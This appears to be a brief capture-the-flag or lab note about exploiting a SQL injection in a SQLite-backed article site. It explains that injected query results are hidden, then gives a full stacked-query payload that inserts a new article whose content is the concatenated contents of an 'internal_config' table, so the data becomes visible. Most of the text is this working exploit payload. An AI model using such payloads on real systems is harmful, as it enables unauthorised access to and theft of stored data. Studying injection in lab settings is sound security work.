(From the source code) The server executes our query injection but shows the results of a safe query version.
Therefore I need another way to show the output, INSERT works to create new article, I create the article with the output of
the SELECT I made.

a'; INSERT INTO articles (department_id, title,slug,content,author)
VALUES(1,sqlite_version(),'SLUG6',(SELECT GROUP_CONCAT(value) FROM internal_config),'e') --